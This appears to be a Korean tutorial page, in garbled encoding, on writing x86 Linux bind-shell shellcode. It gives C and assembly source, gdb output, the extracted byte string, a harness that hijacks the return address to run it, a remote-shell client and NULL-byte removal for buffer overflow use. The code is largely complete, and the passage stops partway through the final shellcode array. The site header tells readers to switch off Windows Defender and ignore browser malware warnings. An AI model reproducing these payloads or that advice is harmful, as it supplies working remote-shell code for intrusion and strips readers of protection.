ÇØÄ¿Áî´º½º / ÇØÄ¿´ëÇÐ

Donation bitcoin(±âºÎ¿ë ºñÆ®ÄÚÀÎ ÁÖ¼Ò)

¡¡
1Pq3K39XM5xx4CifGKgppXeavtWNNHH7K4
¡¡
±âºÎÇϽŠºñÆ®ÄÚÀÎÀº "º¸¾È Ãë¾à °èÃþ"À» À§ÇØ »ç¿ëµÇ°í ÀÖ½À´Ï´Ù.
¡¡
¡¡

Donation bitcoin(±âºÎ¿ë ºñÆ®ÄÚÀÎ ÁÖ¼Ò)

¡¡
1Pq3K39XM5xx4CifGKgppXeavtWNNHH7K4
¡¡
±âºÎÇϽŠºñÆ®ÄÚÀÎÀº "º¸¾È Ãë¾à °èÃþ"À» À§ÇØ »ç¿ëµÇ°í ÀÖ½À´Ï´Ù.
¡¡

°øÁö

¡¡

1. MS ¿§Áö ºê¶ó¿ìÀú¿¡¼­ÀÇ °æ°íâÀº 'À©µµ¿ì µðÆæ´õ'¸¦ ²ô½Ã¸é µË´Ï´Ù.

             'À©µµ¿ì µðÆæ´õ ²ô±â'

2. Å©·Ò ºê¶ó¿ìÀú·Î Á¢¼Ó½Ã ³ª¿À´Â ¾Ç¼ºÄÚµå °æ°íâÀº ±¸±Û Å©·ÒÀÇ ¿¡·¯, Áï ¿ÀŽ(ŽÁö ¿À·ù)À̹ǷΠ¹«½ÃÇÏ½Ã¸é µË´Ï´Ù.

3. ÀÌ »çÀÌÆ®´Â ¾ÈÀüÇÏ¸ç ±ú²ýÇÏ´Ù´Â °ÍÀ» ¾Ë·Á µå¸³´Ï´Ù.

4. ¹«°íÇÑ »çÀÌÆ®µé¿¡ ´ëÇÑ °ø·æ ±â¾÷ ºê¶ó¿ìÀúµéÀÇ ¹«Â÷º°ÀûÀÎ 'ŽÁö ¿À·ù ȾÆ÷'°¡ »ç¿ëÀÚµéÀÇ Á¤º¸ °øÀ¯ÀÇ ÀÚÀ¯¸¦ ħÇØÇÏ°í ÀÖ½À´Ï´Ù. ÀÌ¿¡ ´ëÀÀÇÏ¿© ÀÌ ±â¾÷µéÀ» »ó´ë·Î ¼Ò¼ÛÀ» ÁغñÇÏ°í ÀÖ½À´Ï´Ù.

¡¡

Ãâó: À̵¿¿ì
À帣: ½©ÄÚµå
³×Æ®¿öÅ© ½©ÄÚµå ¸¸µé±â  
socketÀ» openÇÏ¿© ¿¬°áÀ» ±â´Ù¸®°í ÇØ´ç ¼ÒÄÏÀ» Ç¥ÁØ I/O¿¡ ¿¬°áÇÏ´Â Äڵ带 ½©ÄÚµå·Î ¸¸µå´Â °úÁ¤À» ÇнÀÇØ º¸ÀÚ.


³»¿ë


shellcode¸¦ c¾ð¾î·Î ÀÛ¼º
inline-assembly ÄÚµå ÀÛ¼º
shellcode ̧̉
shellcode test
NULL ¹ÙÀÌÆ® Á¦°Å
Trouble Shooting
References



1 shellcode¸¦ c¾ð¾î·Î ÀÛ¼ºshellcode¸¦ ¸¸µé±â À§Çؼ± °¡Àå ¸ÕÀú ÇÊ¿äÇÑ ±â´ÉÀ» c¾ð¾î ÄÚµå·Î ÀÛ¼ºÇÏ´Â ÀÏÀÌ´Ù. BufferOverflowExploit ÆäÀÌÁö¿¡¼­µµ ¼³¸íÇßÁö¸¸ óÀ½ºÎÅÍ shellcode¸¦ ±â°è¾ð¾î·Î ¸¸µé ¼ö´Â ¾ø±â ¶§¹®ÀÌ´Ù. ¿©±â¼­´Â ¼ÒÄÏÀ» openÇÏ°í ¿¬°áµÈ ¼ÒÄÏÀ» Ç¥ÁØ ÀÔÃâ·Â(I/O)À¸·Î ¿¬°áÇÏ´Â ±â´ÉÀÌ ÇÊ¿äÇϹǷΠ±× ³»¿ëÀ» c¾ð¾î·Î ¸¸µç´Ù.

#include<unistd.h>
#include<sys/socket.h>
#include<netinet/in.h>

int soc,cli;
struct sockaddr_in serv_addr;

int main()
{
       if(fork()==0)
       {
               serv_addr.sin_family=AF_INET;
               serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);
               serv_addr.sin_port=htons(30464);
               soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
               bind(soc,(struct sockaddr *)&serv_addr,sizeof(serv_addr));
               listen(soc,1);
               cli=accept(soc, NULL, NULL);
               dup2(cli,0);
               dup2(cli,1);
               dup2(cli,2);
               execl("/bin/sh","sh",0);
       }
}

µð½º¾î¼Àºí Äڵ带 ºÐ¼®Çϱ⠽±µµ·Ï ¸ÅÅ©·Î¸¦ Á¦°ÅÇÑ ÄÚµå·Î ¸¸µé¾î µÐ´Ù.
<server.c>


#include<unistd.h>
#include<sys/socket.h>
#include<netinet/in.h>

int soc,cli;
struct sockaddr_in serv_addr;

int main()
{
       if(fork()==0)
       {
               serv_addr.sin_family=2;
               serv_addr.sin_addr.s_addr=0;
               serv_addr.sin_port=0x77;
               soc=socket(2,1,6);
               bind(soc,(struct sockaddr *)&serv_addr,16);
               listen(soc,1);
               cli=accept(soc,0,0);
               dup2(cli,0);
               dup2(cli,1);
               dup2(cli,2);
               execl("/bin/sh","sh",0);
        }
}


2 inline-assembly ÄÚµå ÀÛ¼ºc¾ð¾î·Î ÀÛ¼ºÇÑ Äڵ带 ÄÄÆÄÀÏÇÑ´Ù.

$[leedw@dasomnetwork]$ gcc -o server -static server.c

½© Äڵ带 ¾òÀ¸·Á¸é ÄÄÆÄÀÏÇÑ ÇÁ·Î±×·¥À» µð½º¾î¼Àºí¸µÇØ¾ß ÇÑ´Ù.


[leedw@dasomnetwork]$ gdb server
GNU gdb Red Hat Linux 7.x (5.0rh-15) (MI_OUT)
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disassem main
Dump of assembler code for function main:
0x80481e0 <main>:       push   %ebp
0x80481e1 <main+1>:     mov    %esp,%ebp
0x80481e3 <main+3>:     sub    $0x8,%esp
0x80481e6 <main+6>:     call   0x804cb40 <__libc_fork>
0x80481eb <main+11>:    mov    %eax,%eax
0x80481ed <main+13>:    test   %eax,%eax
0x80481ef <main+15>:    jne    0x80482c0 <main+224>
0x80481f5 <main+21>:    movw   $0x2,0x80a3c18
0x80481fe <main+30>:    movl   $0x0,0x80a3c1c
0x8048208 <main+40>:    movw   $0x77,0x80a3c1a
0x8048211 <main+49>:    sub    $0x4,%esp
0x8048214 <main+52>:    push   $0x6
0x8048216 <main+54>:    push   $0x1
0x8048218 <main+56>:    push   $0x2
0x804821a <main+58>:    call   0x804d1b0 <__socket>
          ............

API¸¦ È£ÃâÇÏ´Â ºÎºÐÀ» ÇϳªÇϳª µð½º¾î¼ÀºíÇØ º¸¸é¼­ ¾î¼Àºí¸® Äڵ带 ¸¸µç´Ù.
<fork()>


(gdb) disassem fork
Dump of assembler code for function __libc_fork:
0x804cb40 <__libc_fork>:        mov    $0x2,%eax
0x804cb45 <__libc_fork+5>:      int    $0x80
0x804cb47 <__libc_fork+7>:      cmp    $0xfffff001,%eax
0x804cb4c <__libc_fork+12>:     jae    0x8052d30 <__syscall_error>
0x804cb52 <__libc_fork+18>:     ret
End of assembler dump.

       xor %eax, %eax
       movb $0x2, %al
       int $0x80
       testl %eax, %eax
       jnz _exit

<socket()>


(gdb) disassem socket
Dump of assembler code for function __socket:
0x804d1b0 <__socket>:   mov    %ebx,%edx
0x804d1b2 <__socket+2>: mov    $0x66,%eax
0x804d1b7 <__socket+7>: mov    $0x1,%ebx
0x804d1bc <__socket+12>:        lea    0x4(%esp,1),%ecx
0x804d1c0 <__socket+16>:        int    $0x80
0x804d1c2 <__socket+18>:        mov    %edx,%ebx
0x804d1c4 <__socket+20>:        cmp    $0xffffff83,%eax
0x804d1c7 <__socket+23>:        jae    0x8052d30 <__syscall_error>
0x804d1cd <__socket+29>:        ret
End of assembler dump.

       xor %eax, %eax
       xor %ebx, %ebx
       movb $0x66, %al
       movb $0x1, %bl
       movl $0x2, (%esi)
       movl $0x1, 0x4(%esi)
       movl $0x6, 0x8(%esi)
       leal (%esi), %ecx
       int $0x80
       movl %eax, %edx

<bind()>


(gdb) disassem bind
Dump of assembler code for function bind:
0x804d170 <bind>:       mov    %ebx,%edx
0x804d172 <bind+2>:     mov    $0x66,%eax
0x804d177 <bind+7>:     mov    $0x2,%ebx
0x804d17c <bind+12>:    lea    0x4(%esp,1),%ecx
0x804d180 <bind+16>:    int    $0x80
0x804d182 <bind+18>:    mov    %edx,%ebx
0x804d184 <bind+20>:    cmp    $0xffffff83,%eax
0x804d187 <bind+23>:    jae    0x8052d30 <__syscall_error>
0x804d18d <bind+29>:    ret
End of assembler dump.

       xorl %eax, %eax
       xorl %ebx, %ebx
       movb $0x66, %al
       movb $0x2, %bl
       movl %edx, (%esi)
       leal 0x10(%esi), %ecx
       movl %ecx, 0x4(%esi)
       movl $0x16, 0x8(%esi)
       leal (%esi), %ecx
       int $0x80

<listen()>


(gdb) disassem listen
Dump of assembler code for function listen:
0x804d190 <listen>:     mov    %ebx,%edx
0x804d192 <listen+2>:   mov    $0x66,%eax
0x804d197 <listen+7>:   mov    $0x4,%ebx
0x804d19c <listen+12>:  lea    0x4(%esp,1),%ecx
0x804d1a0 <listen+16>:  int    $0x80
0x804d1a2 <listen+18>:  mov    %edx,%ebx
0x804d1a4 <listen+20>:  cmp    $0xffffff83,%eax
0x804d1a7 <listen+23>:  jae    0x8052d30 <__syscall_error>
0x804d1ad <listen+29>:  ret
End of assembler dump.

       xorl %eax, %eax
       xorl %ebx, %ebx
       movb $0x66, %al
       movb $0x4, %bl
       movl %edx, (%esi)
       movl $0x1, 0x4(%esi)
       leal (%esi), %ecx
       int $0x80

<accept()>


(gdb) disassem accept
Dump of assembler code for function __libc_accept:
0x804d150 <__libc_accept>:      mov    %ebx,%edx
0x804d152 <__libc_accept+2>:    mov    $0x66,%eax
0x804d157 <__libc_accept+7>:    mov    $0x5,%ebx
0x804d15c <__libc_accept+12>:   lea    0x4(%esp,1),%ecx
0x804d160 <__libc_accept+16>:   int    $0x80
0x804d162 <__libc_accept+18>:   mov    %edx,%ebx
0x804d164 <__libc_accept+20>:   cmp    $0xffffff83,%eax
0x804d167 <__libc_accept+23>:   jae    0x8052d30 <__syscall_error>
0x804d16d <__libc_accept+29>:   ret
End of assembler dump.

       xorl %eax, %eax
       xorl %ebx, %ebx
       movl %edx, (%esi)
       movl %ebx, 0x4(%esi)
       movl %ebx, 0x8(%esi)
       movb $0x66, %al
       movb $0x5, %bl
       int $0x80
       movl %eax, %edx

<dup2()>


(gdb) disassem dup2
Dump of assembler code for function __dup2:
0x804d040 <__dup2>:     mov    %ebx,%edx
0x804d042 <__dup2+2>:   mov    0x8(%esp,1),%ecx
0x804d046 <__dup2+6>:   mov    0x4(%esp,1),%ebx
0x804d04a <__dup2+10>:  mov    $0x3f,%eax
0x804d04f <__dup2+15>:  int    $0x80
0x804d051 <__dup2+17>:  mov    %edx,%ebx
0x804d053 <__dup2+19>:  cmp    $0xfffff001,%eax
0x804d058 <__dup2+24>:  jae    0x8052d30 <__syscall_error>
0x804d05e <__dup2+30>:  ret
End of assembler dump.
(gdb)

      xorl %eax, %eax
      xorl %ecx, %ecx
     movl %edx, %ebx
     movb $0x3f, %al
     int $0x80

ÀÌ·¸°Ô Çؼ­ ¾òÀº °¢ API Äڵ带 Á¶ÇÕÇؼ­ ¾î¼Àºí¸® Äڵ带 ¸¸µç´Ù.
<netshell.c>


void main()
{
__asm__("
 /* if (fork()==0) */
       xorl %eax, %eax
       movb $0x2, %al
       int $0x80
       testl %eax, %eax
       jnz _exit
       jmp _call
_pop:
       popl %esi
  /* serv_addr.sin_family=2;
     serv_addr.sin_addr.s_addr=0;
     serv_addr.sin_port=0x77;
  */
       movb $0x2, 0x10(%esi)
       movb $0x77, 0x12(%esi)
  /* soc=socket(2, 1, 6) */
       xor %eax, %eax
       xor %ebx, %ebx
       movb $0x66, %al
       movb $0x1, %bl
       movb $0x2, (%esi)
       movb $0x1, 0x4(%esi)
       movb $0x6, 0x8(%esi)
       leal (%esi), %ecx
       int $0x80
       movl %eax, %edx
  /* bind(soc, (struct sockaddr *)&serv_addr,16); */
       xorl %eax, %eax
       xorl %ebx, %ebx
       movb $0x66, %al
       movb $0x2, %bl
       movl %edx, (%esi)
       leal 0x10(%esi), %ecx
       movl %ecx, 0x4(%esi)
       movb $0x16, 0x8(%esi)
       leal (%esi), %ecx
       int $0x80
 /* listen(soc, 1) */
       xorl %eax, %eax
       xorl %ebx, %ebx
       movb $0x66, %al
       movb $0x4, %bl
       movl %edx, (%esi)
       movb $0x1, 0x4(%esi)
       leal (%esi), %ecx
       int $0x80
  /* cli=accept(soc,0,0); */
       xorl %eax, %eax
       xorl %ebx, %ebx
       movl %edx, (%esi)
       movl %ebx, 0x4(%esi)
       movl %ebx, 0x8(%esi)
       movb $0x66, %al
       movb $0x5, %bl
       int $0x80
       movl %eax, %edx
  /* dup2(cli,0); */
       xorl %eax, %eax
       xorl %ecx, %ecx
       movl %edx, %ebx
       movb $0x3f, %al
       int $0x80
  /* dup2(cli, 1); */
       xorl %eax, %eax
       inc %ecx
       movb $0x3f, %al
       int $0x80
  /* dup2(cli, 3); */
       xorl %eax, %eax
       inc %ecx
       movb $0x3f, %al
       int $0x80
  /* execl("/bin/sh","sh",0);  
       "/bin/sh"¹®ÀÚ¸¦ ¸Þ¸ð¸®¿¡ ÀúÀåÇÒ ¶§ ÁÖÀÇÇÒ °ÍÀº x86 ÇÁ·Î¼¼¼­´Â
       little-endian¹æ½ÄÀ» µû¸£¹Ç·Î ascii Äڵ尪À» °Å²Ù·Î Áý¾î ³Ö¾î¾ß ÇÑ´Ù.
       ÀÌ°É Âø°¢Çؼ­ µð¹ö±ëÇϴµ¥ 1½Ã°£ÀÌ ³Ñ°Ô °É·È´Ù´Ï±î.. --;
  */
       movl $0x6e69622f,(%esi)
       movl $0x0068732f, 0x4(%esi)
       xorl %eax, %eax
       movb %al, 0x7(%esi)
       movl %esi, 0x8(%esi)
       movl %eax, 0xc(%esi)
       movb $0xb, %al
       movl %esi, %ebx
       leal 0x8(%esi), %ecx
       leal 0xc(%esi), %edx
       int $0x80

_exit:
       xorl %eax, %eax
       movb $0x1, %al
       xorl %ebx, %ebx
       int $0x80
_call:
       call _pop
");
}


3 shellcode ÃßÃâ¹ÙÀ̳ʸ® ½© Äڵ带 ¾ò±â À§Çؼ­´Â À§¿¡¼­ ÀÛ¼ºÇÑ inline-assembly Äڵ带 ÄÄÆÄÀÏÇؾßÇÑ´Ù.

[leedw@dasomnetwork]$ gcc -o netshell -g -ggdb netshell.c

gdb¸¦ ÀÌ¿ëÇØ ¾î¼Àºí Äڵ尡 Á¦´ë·Î ¸Â´ÂÁö È®ÀÎÇØ º»´Ù.


[leedw@dasomnetwork]$ gdb netshell
GNU gdb Red Hat Linux 7.x (5.0rh-15) (MI_OUT)
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disassem main
Dump of assembler code for function main:
0x8048430 <main>:       push   %ebp
0x8048431 <main+1>:     mov    %esp,%ebp
0x8048433 <main+3>:     xor    %eax,%eax
0x8048435 <main+5>:     mov    $0x2,%al
0x8048437 <main+7>:     int    $0x80
0x8048439 <main+9>:     test   %eax,%eax
0x804843b <main+11>:    jne    0x80484e2 <_exit>
0x8048441 <main+17>:    jmp    0x80484ea <_call>
0x8048446 <_pop>:       pop    %esi
0x8048447 <_pop+1>:     movb   $0x2,0x10(%esi)
0x804844b <_pop+5>:     movb   $0x77,0x12(%esi)
             ..............

ÀÌÁ¦ gdbÀÇ x Ä¿¸Çµå·Î ¹ÙÀ̳ʸ® Äڵ带 ÃßÃâÇÑ´Ù.


(gdb) x/xb main+3
0x8048433 <main+3>:     0x31
(gdb)
0x8048434 <main+4>:     0xc0
(gdb)
0x8048435 <main+5>:     0xb0
(gdb)
0x8048436 <main+6>:     0x02
           .........

ÀÌ ÀÛ¾÷À» ÅëÇØ ¾òÀº shellcode´Â ´ÙÀ½°ú °°´Ù.


char shellcode[] =
       "\x31\xc0"                              /* xor    %eax,%eax */
       "\xb0\x02"                              /* mov    $0x2,%al */
       "\xcd\x80"                              /* int    $0x80 */
       "\x85\xc0"                              /* test   %eax,%eax */
       "\x0f\x85\xa1\x00\x00\x00"              /* jnz 0x80496af <buf+175>  */
       "\xe9\xa4\x00\x00\x00"                  /* jmp 0x80496b7 <buf+183> */
       "\x5e"                                  /* pop    %esi */
       "\xc6\x46\x10\x02"                      /* movl   $0x2,0x10(%esi) */
       "\xc6\x46\x12\x75"                      /* movl   $0x77,0x12(%esi) */
       "\x31\xc0"                              /* xor    %eax,%eax */
       "\x31\xdb"                              /* xor    %ebx,%ebx */
       "\xb0\x66"                              /* mov    $0x66,%al */
       "\xb3\x01"                              /* mov    $0x1,%bl */
       "\xc6\x06\x02"                          /* movl   $0x2,(%esi) */
       "\xc6\x46\x04\x01"                      /* movl   $0x1,0x4(%esi) */
       "\xc6\x46\x08\x06"                      /* movl   $0x6,0x8(%esi) */
       "\x8d\x0e"                              /* lea    (%esi),%ecx*/
       "\xcd\x80"                              /* int    $0x80 */
       "\x89\xc2"                              /* mov    %eax,%edx */
       "\x31\xc0"                              /* xor    %eax,%eax */
       "\x31\xdb"                              /* xor    %ebx,%ebx */
       "\xb0\x66"                              /* mov    $0x66,%al */
       "\xb3\x02"                              /* mov    $0x2,%bl */
       "\x89\x16"                              /* mov    %edx,(%esi) */
       "\x8d\x4e\x10"                          /* lea    0x10(%esi),%ecx*/
       "\x89\x4e\x04"                          /* mov    %ecx,0x4(%esi) */
       "\xc6\x46\x08\x16"                      /* movl   $0x16,0x8(%esi) */
       "\x8d\x0e"                              /* lea    (%esi),%ecx */
       "\xcd\x80"                              /* int    $0x80 */
       "\x31\xc0"                              /* xor    %eax,%eax */
       "\x31\xdb"                              /* xor    %ebx,%ebx */
       "\xb0\x66"                              /* mov    $0x66,%al */
       "\xb3\x04"                              /* mov    $0x4,%bl */
       "\x89\x16"                              /* mov    %edx,(%esi) */
       "\xc6\x46\x04\x01"                      /* movl   $0x1,0x4(%esi) */
       "\x8d\x0e"                              /* lea    (%esi),%ecx */
       "\xcd\x80"                              /* int    $0x80 */
       "\x31\xc0"                              /* xor    %eax,%eax */
       "\x31\xdb"                              /* xor    %ebx,%ebx */
       "\x89\x16"                              /* mov    %edx,(%esi) */
       "\x89\x5e\x04"                          /* mov    %ebx,0x4(%esi) */
       "\x89\x5e\x08"                          /* mov    %ebx,0x8(%esi) */
       "\xb0\x66"                              /* mov    $0x66,%al */
       "\xb3\x05"                              /* mov    $0x5,%bl */
       "\xcd\x80"                              /* int    $0x80 */
       "\x89\xc2"                              /* mov    %eax,%edx */
       "\x31\xc0"                              /* xor    %eax,%eax */
       "\x31\xc9"                              /* xor    %ecx,%ecx */
       "\x89\xd3"                              /* mov    %edx,%ebx */
       "\xb0\x3f"                              /* mov    $0x3f,%al */
       "\xcd\x80"                              /* int    $0x80 */
       "\x31\xc0"                              /* xor    %eax,%eax */
       "\x41"                                  /* inc    %ecx */
       "\xb0\x3f"                              /* mov    $0x3f,%al */
       "\xcd\x80"                              /* int    $0x80 */
       "\x31\xc0"                              /* xor    %eax,%eax */
       "\x41"                                  /* inc    %ecx */
       "\xb0\x3f"                              /* mov    $0x3f,%al */
       "\xcd\x80"                              /* int    $0x80 */
       "\xc7\x06\x2f\x62\x69\x6e"              /* movl   $0x6e69622f,(%esi) */
       "\xc7\x46\x04\x2f\x73\x68\x00"          /* movl   $0x68732f,0x4(%esi) */
       "\x31\xc0"                              /* xor    %eax,%eax */
       "\x88\x46\x07"                          /* mov    %al,0x7(%esi) */
       "\x89\x76\x08"                          /* mov    %esi,0x8(%esi) */
       "\x89\x46\x0c"                          /* mov    %eax,0xc(%esi) */
       "\xb0\x0b"                              /* mov    $0xb,%al */
       "\x89\xf3"                              /* mov    %esi,%ebx */
       "\x8d\x4e\x08"                          /* lea    0x8(%esi),%ecx */
       "\x8d\x56\x0c"                          /* lea    0xc(%esi),%edx */
       "\xcd\x80"                              /* int    $0x80 */
       "\x31\xc0"                              /* xor    %eax,%eax */
       "\xb0\x01"                             /* mov    $0x1,%al */
       "\x31\xdb"                              /* xor    %ebx,%ebx */
       "\xcd\x80"                              /* int    $0x80 */
       "\xe8\x57\xff\xff\xff";                 /* call  0x8049613 <buf+19> */


4 shellcode testÀÌ·¸°Ô Çؼ­ ¾òÀº shellcode°¡ Á¦´ë·Î µ¿ÀÛÇÏ´ÂÁö È®ÀÎÇØ ºÁ¾ß ÇÑ´Ù. shellcode¸¦ Àü¿ªº¯¼ö·Î ¼±¾ðÇÏ°í ´ÙÀ½°ú °°Àº Äڵ带 ¸¸µç´Ù.

char buf[512] = {'\0'};

void main()
{
    int *ret;

    memcpy(buf, shellcode, sizeof(shellcode));

    ret = (int*)&ret + 2;
    (*ret) = (int)buf;
}

±×¸®°í ½ÇÁ¦ shellcode°¡ Á¦´ë·Î ÀÛµ¿ÇÏ´ÂÁö È®ÀÎÇϱâ À§ÇÑ client Å×½ºÆ® ÇÁ·Î±×·¥À» ¸¸µç´Ù.
<client.c>


#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<netdb.h>
#include<netinet/in.h>

long getip(char *name)
{
       struct hostent *hp;
       long ip;
       if((ip=inet_addr(name))==-1)
       {
               if((hp=gethostbyname(name))==NULL)
               {
                       fprintf(stderr,"Can't resolve host.\n");
                       exit(0);
               }
               memcpy(&ip,(hp->h_addr),4);
       }
       return ip;
}

int exec_sh(int sockfd)
{
       char snd[4096],rcv[4096];
       fd_set rset;
       while(1)
       {
               FD_ZERO(&rset);
               FD_SET(fileno(stdin),&rset);
               FD_SET(sockfd,&rset);
               select(255,&rset,NULL,NULL,NULL);
               if(FD_ISSET(fileno(stdin),&rset))
               {
                       memset(snd,0,sizeof(snd));
                       fgets(snd,sizeof(snd),stdin);
                       write(sockfd,snd,strlen(snd));
               }
               if(FD_ISSET(sockfd,&rset))
               {
                       memset(rcv,0,sizeof(rcv));
                       if(read(sockfd,rcv,sizeof(rcv))<=0)
                               exit(0);
                       fputs(rcv,stdout);
               }
       }
}

int connect_sh(long ip)
{
       int sockfd,i;
       struct sockaddr_in sin;
       printf("Connect to the shell\n");
       fflush(stdout);
       memset(&sin,0,sizeof(sin));
       sin.sin_family=AF_INET;
       sin.sin_port=htons(30464);
       sin.sin_addr.s_addr=ip;
       if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
       {
               printf("Can't create socket\n");
               exit(0);
       }
       if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)
       {
               printf("Can't connect to the shell\n");
               exit(0);
       }
       return sockfd;
}


int main(int argc, char* argv[], char* env[] )
{
       int sockfd;

       if (argc != 2)
       {
               printf("usage:%s [target address]\n", argv[0]);
               return 0;
       }
       sockfd=connect_sh(getip(argv[1]));
       exec_sh(sockfd);
}

À§ client Å×½ºÆ® ÇÁ·Î±×·¥À» ÄÄÆÄÀÏÇÏ°í server ÇÁ·Î±×·¥À» ½ÇÇàÇÑ ÈÄ client ÇÁ·Î±×·¥À» ½ÇÇàÇؼ­ ½ÇÁ¦ ¸®¸ðÆ®¿¡¼­ shellÀÌ ¶³¾îÁö´ÂÁö¸¦ È®ÀÎÇØ º»´Ù.


[leedw@dasomnetwork]$ gcc -o client client.c
[leedw@dasomnetwork]$ ./client localhost
Connect to the shell
ls                                  <------------- OK! shellÀÌ µ¿ÀÛÇÏ´Â °ÍÀ» º¼ ¼ö ÀÖ´Ù. :)
a.out
client
client.c
environ
environ.c
execl
execl.c
exploit1
exploit1.c


5 NULL ¹ÙÀÌÆ® Á¦°ÅÀ§ÀÇ shellcode´Â Àß µ¿ÀÛÇϱä ÇÏÁö¸¸ ÄÚµå Áß°£¿¡ NULL(0x00) ¹ÙÀÌÆ®°¡ ³¢¾î Àֱ⠶§¹®¿¡ ±×´ë·Î exploitÀ¸·Î »ç¿ëÇÒ ¼ø ¾ø´Ù. BufferOverflowExploit ÆäÀÌÁö¿¡¼­µµ ¼³¸íÇßÁö¸¸ shell code°¡ Ÿ±ê ÇÁ·Î±×·¥ÀÇ ¸Þ¸ð¸®¿¡ ¿Ã·ÁÁö´Â°Ç strcpy()¿Í °°Àº ÇÔ¼öµéÀ» ÅëÇØ ¿Ã·ÁÁö´Âµ¥ shell code¿¡ NULL ¹ÙÀÌÆ®°¡ ³¢¾îÀÖ´Ù¸é NULL¹ÙÀÌÆ®±îÁö¸¸ ¸Þ¸ð¸®¿¡ ¿Ã¶ó°¡°Ô µÉ °ÍÀÌ´Ù. ¿Ïº®ÇÑ shellcode¸¦ ¾ò±â À§Çؼ­´Â ÄÚµå Áß°£¿¡ ³¢¾î ÀÖ´Â NULL ¹ÙÀÌÆ®¸¦ Á¦°ÅÇØ¾ß ÇÑ´Ù.

binary code                          instructions                  substituitons                      binary
----------------------------------------------------------------------------------------------------------------------------
\x0f\x85\xa1\x00\x00\x00          jnz 0x80496af <buf+175>               *                               *
\xe9\xa4\x00\x00\x00              jmp 0x80496b7 <buf+183>               *                               *
\xc7\x46\x04\x2f\x73\x68\x00      movl   $0x68732f,0x4(%esi)    movl $0x2f68732f, 0x4(%esi)   \xc7\x46\x04\x2f\x73\x68\x2f
----------------------------------------------------------------------------------------------------------------------------

shellcode¸¦ ÀÛ¼ºÇÒ ¶§, jnz, jmp¿Í °°Àº Á¡ÇÁ ÄÚµå´Â 1¹ÙÀÌÆ® »ó´ë ÁÖ¼Ò·Î ºÐ±âÇϵµ·Ï ÇØ¾ß ÇÑ´Ù. ±×·¸Áö ¾ÊÀ¸¸é À§¿Í °°ÀÌ operand¿¡ 4¹ÙÀÌÆ® »ó´ë ÁÖ¼Ò¸¦ ä¿ö ³Ö¾î¾ßÇÏ´Â opcode°¡ »ç¿ëµÇ´Âµ¥ À¢¸¸ÇÑ shellcode´Â 0x1000000¹ÙÀÌÆ®¸¦ ³ÑÀ» ÀÏÀÌ ¾ø±â ¶§¹®¿¡ 4¹ÙÀÌÆ® Á¡ÇÁ Äڵ尡 ¾²Àδٸé NULL°ªÀÌ ¹Ýµå½Ã µé¾î°¡°Ô µÈ´Ù. ±×·±µ¥ 1¹ÙÀÌÆ® ÁÖ¼Ò°ªÀ» ¾²·Á¸é À̹ø¿£ Á¡ÇÁÇÏ°íÀÚ ÇÏ´Â ÁÖ¼Ò°¡ 127¹ÙÀÌÆ®(0x7f) À̳»¿©¾ß ÇÑ´Ù´Â Á¦¾à»çÇ×ÀÌ ÀÖ´Ù. socketÀ» ¿­°í ±×°ÍÀ» Ç¥ÁØI/O¿¡ ¿¬°áÇÏ´Â ÄÚµå¿Í °°ÀÌ º¹ÀâÇÑ ±â´ÉÀ» ±¸ÇöÇÏ·Á¸é ¾Æ¹«·¡µµ 127¹ÙÀÌÆ® ±æÀÌ À̳»·Î´Â ±¸ÇöÀÌ Èûµé °ÍÀÌ´Ù. ±×·¸´Ù¸é À̸¦ ÇÇÇØ°¡´Â ¹æ¹ýÀº ¹«¾ùÀϱî.
ÄÚµå Áß°£¿¡(127¹ÙÀÌÆ® À̳») ºÐ±â Äڵ尡 °æÀ¯ÇÏ¿© °¥ ¼ö ÀÖµµ·Ï Áß°£ °æÀ¯Áö¸¦ µÎ¸é ½±°Ô ÇØ°áµÉ °ÍÀÌ´Ù.


__asm__("
 /* if (fork()==0) */
       xorl %eax, %eax
       movb $0x2, %al
       int $0x80
       testl %eax, %eax
       jnz _JPOINT2         <----- _exit ÄÚµå±îÁö 127¹ÙÀÌÆ®°¡ ³ÑÀ¸¹Ç·Î Áß°£ °æÀ¯Áö¸¦ °ÅÃÄ °¡µµ·Ï ÇÑ´Ù.
       jmp _JPOINT1         <----- _call È£ÃâÄڵ嵵 ¸¶Âù°¡Áö....
_pop:
       pop %esi
       .......
      leal (%esi), %ecx
       int $0x80
       jmp _CPOINT

_JPOINT1:
       jmp _call

_JPOINT2:
       jmp _exit

_CPOINT:
  /* cli=accept(soc,0,0); */
       xorl %eax, %eax
        .....

ÀÌ·¸°Ô ÀÛ¼ºÇÑ ¾î¼Àºí Äڵ带 ÄÄÆÄÀÏ Çؼ­ ¹ÙÀ̳ʸ® Äڵ带 ÃßÃâÇϸé ÃÖÁ¾ÀûÀ¸·Î ±ò²ûÇÑ shellcode¸¦ ¾ò¾î ³¾ ¼ö ÀÖ´Ù.


char shellcode[] =
       "\x31\xc0"                              /* xor    %eax,%eax */
       "\xb0\x02"                              /* mov    $0x2,%al */
       "\xcd\x80"                              /* int    $0x80 */
       "\x85\xc0"                              /* test   %eax,%eax */
       "\x75\x52"                              /* jnz    $0x52 */
       "\xeb\x4e"                              /* jmp    $0x4e */
       "\x5e"                                  /* pop    %esi */
       "\xc6\x46\x10\x02"                      /* movl   $0x2,0x10(%esi) */
       "\xc6\x46\x12\x77"                      /* movl   $0x77,0x12(%esi) */
       "\x31\xc0"                              /* xor    %eax,%eax */
       "\x31\xdb"                              /* xor    %ebx,%ebx */
       "\xb0\x66"                              /* mov    $0x66,%al */
       "\xb3\x01"                              /* mov    $0x1,%bl */
       "\xc6\x06\x02"                          /* movl   $0x2,(%esi) */
       "\xc6\x46\x04\x01"                      /* movl   $0x1,0x4(%esi) */
       "\xc6\x46\x08\x06"                      /* movl   $0x6,0x8(%esi) */
       "\x8d\x0e"                              /* lea    (%esi),%ecx*/
